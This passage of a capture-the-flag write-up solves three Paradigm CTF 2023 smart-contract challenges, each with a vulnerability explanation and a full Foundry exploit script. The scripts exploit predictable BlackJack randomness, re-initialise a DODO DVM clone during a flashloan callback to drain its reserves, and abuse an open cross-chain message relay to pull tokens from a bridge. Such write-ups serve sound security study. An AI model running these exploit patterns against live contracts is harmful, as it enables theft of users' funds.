uint256 playerPrivateKey = vm.envUint("PLAYER"); address challengeAddress = vm.envAddress("CHALLENGE"); Challenge challenge = Challenge(challengeAddress); SystemConfiguration systemConfiguration = SystemConfiguration(challenge.SYSTEM_CONFIGURATION()); AccountManager accountManager = AccountManager(systemConfiguration.getAccountManager()); vm.startBroadcast(playerPrivateKey); address[] memory recoverAddresses = new address[](2044); Acct account = accountManager.openAccount(attacker, recoverAddresses); accountManager.mintStablecoins(account, 1_000_000_000_000 ether + 1, "hack"); console.log("isSolved:", challenge.isSolved()); vm.stopBroadcast(); } } SKILL BASED GAME CHALLENGE: SKILL BASED GAME AUTHOR: samczsun TAGS: pwn DESCRIPTION: Unlike other gambling games, this one is purely a game of skill This challenge assigns us as players who have to win the BlackJack game repeatedly, draining all the funds in the address 0xA65D59708838581520511d98fB8b5d1F76A96cad from the forked Ethereum mainnet. In order to solve this challenge, we must play only the game that favors us, since if we lose a single game, we increase the balance of the contract. One way to do that is to “know the cards that will be drawn in advance” so that we can decide which game to play. Let’s take a look at how the contract deals with the cards. The player has to call the deal() function to play Black Jack. After the deal card is given to the player, the game is checked by the checkGameResult() function. BlackJack.sol function deal() public payable { if (games[msg.sender].player != 0 &amp;&amp; games[msg.sender].state == GameState.Ongoing) { throw; // game is already going on } if (msg.value &lt; minBet || msg.value &gt; maxBet) { throw; // incorrect bet } uint8[] memory houseCards = new uint8[](1); uint8[] memory playerCards = new uint8[](2); // deal the cards playerCards[0] = Deck.deal(msg.sender, 0); Deal(true, playerCards[0]); houseCards[0] = Deck.deal(msg.sender, 1); Deal(false, houseCards[0]); playerCards[1] = Deck.deal(msg.sender, 2); Deal(true, playerCards[1]); games[msg.sender] = Game({ player: msg.sender, bet: msg.value, houseCards: houseCards, playerCards: playerCards, state: GameState.Ongoing, cardsDealt: 3, }); checkGameResult(games[msg.sender], false); } The card random logic is in the Deck.deal() function. This random logic implementation relies on the block property and some variables, as shown in the following code, which makes it vulnerable and possible to predict the result. BlackJack.sol library Deck { // returns random number from 0 to 51 // let's say 'value' % 4 means suit (0 - Hearts, 1 - Spades, 2 - Diamonds, 3 - Clubs) // 'value' / 4 means: 0 - King, 1 - Ace, 2 - 10 - pip values, 11 - Jacket, 12 - Queen function deal(address player, uint8 cardNumber) internal returns (uint8) { uint b = block.number; uint timestamp = block.timestamp; return uint8(uint256(keccak256(block.blockhash(b), player, cardNumber, timestamp)) % 52); } function valueOf(uint8 card, bool isBigAce) internal constant returns (uint8) { uint8 value = card / 4; if (value == 0 || value == 11 || value == 12) { // Face cards return 10; } if (value == 1 &amp;&amp; isBigAce) { // Ace is worth 11 return 11; } return value; } function isAce(uint8 card) internal constant returns (bool) { return card / 4 == 1; } function isTen(uint8 card) internal constant returns (bool) { return card / 4 == 10; } } To solve this challenge, we have to win the Black Jack game until all the funds are drained. We can check whether the Solver contract will win Black Jack by simulating the game with the same logic as the BlackJack contract. So we have implemented the script, which contains the factory of the BlackJack Solver contract that will only play Black Jack when it wins. SkillBasedGameSolver.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Script.sol"; import "../src/Challenge.sol"; interface IBlackJack { function hit() external; function maxBet() external returns ( uint256 ); function deal() external payable; function games(address) external returns ( address player, uint256 bet, uint8 state, uint8 cardsDealt ); function getHouseCard(uint8 id) external returns ( uint8 ); function getHouseCardsNumber () external returns ( uint256 ); function minBet() external returns ( uint256 ); function getGameState () external returns ( uint8 ); function stand() external; function getPlayerCard(uint8 id) external returns ( uint8 ); function getPlayerCardsNumber() external returns ( uint256 ); } contract SkillBasedGameSolver is Script { uint256 deployPrivateKey = vm.envUint("PLAYER"); Challenge challenge = Challenge(vm.envAddress("CHALLENGE")); IBlackJack blackjack = IBlackJack(0xA65D59708838581520511d98fB8b5d1F76A96cad); address caller; function setUp() public { vm.createSelectFork('http://skill-based-game.challenges.paradigm.xyz:8545/b4cb14d0-7a7b-4024-9503-411a53c4dbfd/main'); caller = vm.addr(deployPrivateKey); console.log("caller balance: ", caller.balance / 1 ether); } function run() public { vm.startBroadcast(caller); console.log("block no: ", block.number); console.log("block timestamp: ", block.timestamp); Create2Factory factory = new Create2Factory(); console.log("factory: ", address(factory)); payable(factory).transfer(50 ether); factory.run(); console.log("isSolved: ", challenge.isSolved()); vm.stopBroadcast(); } } contract Solver { IBlackJack blackjack = IBlackJack(0xA65D59708838581520511d98fB8b5d1F76A96cad); function makeDeal(uint256 betAmount) public payable { blackjack.deal{value: betAmount}(); if (blackjack.getGameState() != 1) { blackjack.stand(); } } receive() external payable {} } contract Create2Factory { uint8 BLACKJACK = 21; function run() public { bytes memory bytecode = type(Solver).creationCode; uint8 winner = 0; for (uint256 i=0; i&lt;1000; i++) { address computedAddr = computeAddress(bytecode, i); if (isWin(computedAddr)) { winner++; console.log("win", i); bytes32 salt = bytes32(i); address addr = createChildContract(salt, bytecode); console.log("addr: ", addr); Solver solver = Solver(payable(addr)); solver.makeDeal{value: 5 ether}(5 ether); console.log("balance: ", address(0xA65D59708838581520511d98fB8b5d1F76A96cad).balance / 1 ether); } else { console.log("lose"); } if (winner &gt;= 10) { break; } } } function createChildContract(bytes32 salt, bytes memory initializationCode) public returns (address) { address newContract; assembly { newContract := create2(0, add(initializationCode, 0x20), mload(initializationCode), salt) if iszero(extcodesize(newContract)) { revert(0, 0) } } return newContract; } function computeAddress(bytes memory code, uint256 salt) public view returns(address) { uint8 prefix = 0xff; bytes32 initCodeHash = keccak256(abi.encodePacked(code)); bytes32 hash = keccak256(abi.encodePacked(prefix, address(this), salt, initCodeHash)); return address(uint160(uint256(hash))); } function isWin(address child) public view returns (bool) { uint8[] memory houseCards = new uint8[](1); uint8[] memory playerCards = new uint8[](2); playerCards[0] = random(child, 0); houseCards[0] = random(child, 1); playerCards[1] = random(child, 2); (uint8 playerScore, uint8 playerScoreBig, uint8 houseScore, uint8 houseScoreBig) = checkScore(playerCards, houseCards); if (houseScoreBig == BLACKJACK || houseScore == BLACKJACK) { return false; } else { if (playerScore == BLACKJACK || playerScoreBig == BLACKJACK) { if (isTen(playerCards[0]) || isTen(playerCards[1])) { // Natural blackjack =&gt; return x2.5 return false; //ignore this case } else { // Usual blackjack =&gt; return x2 return true; } } else { if (houseScoreBig &lt; 17) { return false; } uint8 playerShortage = 0; uint8 houseShortage = 0; if (playerScoreBig &gt; BLACKJACK) { if (playerScore &gt; BLACKJACK) { // HOUSE WON return false; } else { playerShortage = BLACKJACK - playerScore; } } else { playerShortage = BLACKJACK - playerScoreBig; } if (houseScoreBig &gt; BLACKJACK) { if (houseScore &gt; BLACKJACK) { // PLAYER WON return true; } else { houseShortage = BLACKJACK - houseScore; } } else { houseShortage = BLACKJACK - houseScoreBig; } // ?????????????????????? почему игра заканчивается? if (houseShortage == playerShortage) { // TIE return false; } else if (houseShortage &gt; playerShortage) { // PLAYER WON return true; } else { return false; } } } } function checkScore(uint8[] memory playerCards, uint8[] memory houseCards) internal view returns (uint8, uint8, uint8, uint8) { (uint8 playerScore, uint8 playerScoreBig) = calculateScore(playerCards); (uint8 houseScore, uint8 houseScoreBig) = calculateScore(houseCards); return (playerScore, playerScoreBig, houseScore, houseScoreBig); } function random(address player, uint8 cardNumber) internal view returns (uint8) { uint b = block.number; uint timestamp = block.timestamp; return uint8(uint256(keccak256(abi.encodePacked(blockhash(b), player, cardNumber, timestamp))) % 52); } function calculateScore(uint8[] memory cards) internal pure returns (uint8, uint8) { uint8 score = 0; uint8 scoreBig = 0; // in case of Ace there could be 2 different scores bool bigAceUsed = false; for (uint i = 0; i &lt; cards.length; ++i) { uint8 card = cards[i]; if (isAce(card) &amp;&amp; !bigAceUsed) { // doesn't make sense to use the second Ace as 11, because it leads to the losing scoreBig += valueOf(card, true); bigAceUsed = true; } else { scoreBig += valueOf(card, false); } score += valueOf(card, false); } return (score, scoreBig); } function valueOf(uint8 card, bool isBigAce) internal pure returns (uint8) { uint8 value = card / 4; if (value == 0 || value == 11 || value == 12) { // Face cards return 10; } if (value == 1 &amp;&amp; isBigAce) { // Ace is worth 11 return 11; } return value; } function isAce(uint8 card) internal pure returns (bool) { return card / 4 == 1; } function isTen(uint8 card) internal pure returns (bool) { return card / 4 == 10; } receive() external payable {} } DODONT CHALLENGE: DODONT AUTHOR: samczsun TAGS: pwn DESCRIPTION: Sometimes all it takes is knowing where to look This challenge fork form the Ethereum mainnet, the objective of this challenge is drain all fund from the DVM contract which is deploy with clone pattern from the implementation at 0x2BBD66fC4898242BDBD2583BBe1d76E8b8f71445. First, let’s take a look at the DVM implementation contract ( https://etherscan.io/address/0x2BBD66fC4898242BDBD2583BBe1d76E8b8f71445#code ). DVM contract is a DODO Vending Machine that is designed to sell tokens without large initial liquidity requirements. Since it is a clone pattern, we will first look at the init() function. DVM.sol /** * @title DODO VendingMachine * @author DODO Breeder * * @notice DODOVendingMachine initialization */ contract DVM is DVMTrader, DVMFunding { function init( address maintainer, address baseTokenAddress, address quoteTokenAddress, uint256 lpFeeRate, address mtFeeRateModel, uint256 i, uint256 k, bool isOpenTWAP ) external { require(baseTokenAddress != quoteTokenAddress, "BASE_QUOTE_CAN_NOT_BE_SAME"); _BASE_TOKEN_ = IERC20(baseTokenAddress); _QUOTE_TOKEN_ = IERC20(quoteTokenAddress); require(i &gt; 0 &amp;&amp; i &lt;= 10**36); _I_ = i; require(k &lt;= 10**18); _K_ = k; _LP_FEE_RATE_ = lpFeeRate; _MT_FEE_RATE_MODEL_ = IFeeRateModel(mtFeeRateModel); _MAINTAINER_ = maintainer; _IS_OPEN_TWAP_ = isOpenTWAP; if(isOpenTWAP) _BLOCK_TIMESTAMP_LAST_ = uint32(block.timestamp % 2**32); string memory connect = "_"; string memory suffix = "DLP"; name = string(abi.encodePacked(suffix, connect, addressToShortString(address(this)))); symbol = "DLP"; decimals = _BASE_TOKEN_.decimals(); // ============================== Permit ==================================== uint256 chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this) ) ); // ========================================================================== } We noticed that the init() function can be re-executed to re-initialize the contract. This contract also serves the flashloan service as follows: DVM.sol function flashLoan( uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data ) external preventReentrant { _transferBaseOut(assetTo, baseAmount); _transferQuoteOut(assetTo, quoteAmount); if (data.length &gt; 0) IDODOCallee(assetTo).DVMFlashLoanCall(msg.sender, baseAmount, quoteAmount, data); uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this)); uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this)); // no input -&gt; pure loss require( baseBalance &gt;= _BASE_RESERVE_ || quoteBalance &gt;= _QUOTE_RESERVE_, "FLASH_LOAN_FAILED" ); // sell quote if (baseBalance &lt; _BASE_RESERVE_) { uint256 quoteInput = quoteBalance.sub(uint256(_QUOTE_RESERVE_)); (uint256 receiveBaseAmount, uint256 mtFee) = querySellQuote(tx.origin, quoteInput); require(uint256(_BASE_RESERVE_).sub(baseBalance) &lt;= receiveBaseAmount, "FLASH_LOAN_FAILED"); _transferBaseOut(_MAINTAINER_, mtFee); emit DODOSwap( address(_QUOTE_TOKEN_), address(_BASE_TOKEN_), quoteInput, receiveBaseAmount, msg.sender, assetTo ); } // sell base if (quoteBalance &lt; _QUOTE_RESERVE_) { uint256 baseInput = baseBalance.sub(uint256(_BASE_RESERVE_)); (uint256 receiveQuoteAmount, uint256 mtFee) = querySellBase(tx.origin, baseInput); require(uint256(_QUOTE_RESERVE_).sub(quoteBalance) &lt;= receiveQuoteAmount, "FLASH_LOAN_FAILED"); _transferQuoteOut(_MAINTAINER_, mtFee); emit DODOSwap( address(_BASE_TOKEN_), address(_QUOTE_TOKEN_), baseInput, receiveQuoteAmount, msg.sender, assetTo ); } _sync(); emit DODOFlashLoan(msg.sender, assetTo, baseAmount, quoteAmount); } With this vulnerability, we can set the base and quote tokens for any tokens while the flashloan callback is executed. This will result in us draining all base and quote tokens from the contract and then returning another base and quote token to the platform instead. We implement our assumption into the forge script as follows: DodontSolver.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity &gt;=0.6.2 &lt;0.9.0; import "forge-std/Script.sol"; import "../src/Challenge.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract DodontSolver is Script { function run() external { uint256 playerPrivateKey = vm.envUint("PLAYER"); address challengeAddress = vm.envAddress("CHALLENGE"); Challenge challenge = Challenge(challengeAddress); DVMLike dvm = DVMLike(challenge.dvm()); vm.startBroadcast(playerPrivateKey); uint256 baseBalance = dvm._BASE_TOKEN_().balanceOf(address(dvm)); uint256 quoteBalance = dvm._QUOTE_TOKEN_().balanceOf(address(dvm)); console.log("baseBalance:", baseBalance); console.log("quoteBalance:", quoteBalance); DodoExp dodoExp = new DodoExp(); dvm.flashLoan(baseBalance, quoteBalance, address(dodoExp), "hack"); console.log("isSolved: ", challenge.isSolved()); vm.stopBroadcast(); } } contract DodoExp { function DVMFlashLoanCall( address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data ) external { DummyToken baseDum = new DummyToken(msg.sender, baseAmount); DummyToken quoteDum = new DummyToken(msg.sender, quoteAmount); DVMLike(msg.sender).init( address(0), address(baseDum), address(quoteDum), 3000000000000000, address(0x5e84190a270333aCe5B9202a3F4ceBf11b81bB01), 1, 1000000000000000000, false ); } } contract DummyToken is ERC20 { constructor(address to, uint256 amount) ERC20("Dummy Token", "DT") { _mint(to, amount); } } interface DVMLike { function _BASE_TOKEN_() external returns(ERC20); function _QUOTE_TOKEN_() external returns(ERC20); function init( address maintainer, address baseTokenAddress, address quoteTokenAddress, uint256 lpFeeRate, address mtFeeRateModel, uint256 i, uint256 k, bool isOpenTWAP ) external; function buyShares(address) external; function flashLoan( uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data ) external; } ENTERPRISE BLOCKCHAIN CHALLENGE: ENTERPRISE BLOCKCHAIN AUTHOR: ChainLight TAGS: pwn DESCRIPTION: Smart Contract Solutions is proud to introduce the only Enterprise Blockchain that you’ll ever need This challenge has bridge contracts deployed on two chains (L1, L2), which provide token bridge and cross-chain function calls. The objective of this challenge is to drain all ERC20 from the L1 bridge contract. Normally, the token will be transferred out only when the ERC20In() function is called by the cross-chain bridge. Bridge.sol modifier onlyRemoteBridge() { require( msg.sender == address(this) &amp;&amp; relayedMessageSenderChainId != 0 &amp;&amp; remoteBridgeChainId[relayedMessageSenderAddress] == relayedMessageSenderChainId, "RB" ); _; } function ERC20In(address _token, address _to, uint256 _amount) external payable onlyRemoteBridge { emit ERC20_transfer(_token, _to, _amount); if (remoteTokenToLocalToken[_token] != address(0)) { BridgedERC20(remoteTokenToLocalToken[_token]).mint(_to, _amount); } else { require(IERC20(_token).transfer(_to, _amount), "T"); } } In the cross-chain function call, the sendRemoteMessage() can be called by anyone to any desination address, and then the relayMessage() on the other chain will call the desination contract as desired. This includes the bridge itself, which means the attacker can utilize this to make another bridge address call to ERC20 to transfer the token in the bridge contract. We can solve this by send cross-chain transfer call from L2 to L1 contract with the following script: // SPDX-License-Identifier: UNLICENSED pragma solidity &gt;=0.6.2 &lt;0.9.0; import "forge-std/Script.sol"; import "../src/Challenge.sol"; import "../src/bridge/Bridge.sol"; import "../src/bridge/BridgedERC20.sol"; contract EnterpriseBlockchainSolver is Script { function run() external { uint256 playerPrivateKey = vm.envUint("PLAYER"); address challengeAddress = vm.envAddress("CHALLENGE"); Challenge challenge = Challenge(challengeAddress); address bridgeAddr = address(0x56694ca20Edfb23cEEa39cEFCf70b25EAababdC0); address flagTokenAddr = address(0x171Ee3Fa356A28bb3Eec0E7E711D45e8761D951E); Bridge bridge = Bridge(payable(bridgeAddr)); vm.startBroadcast(playerPrivateKey); // call L2 &gt; L1 bridge.sendRemoteMessage( 78704, flagTokenAddr, abi.encodeWithSelector(ERC20.transfer.selector, address(0xdead), 11 ether) ); vm.stopBroadcast(); } } Hop over to ' Paradigm CTF 2023 Writeup 2/2 ' for more details Since the release of our new Smart Contract Security Testing Guide Checklist , we’ve also planned to release more plugins to detect the common issues from our security checklist to cover the whole checklist. The tools we will choose to implement are still a secret. For now, you can use our checklist and the built-in detectors and rules as a guide.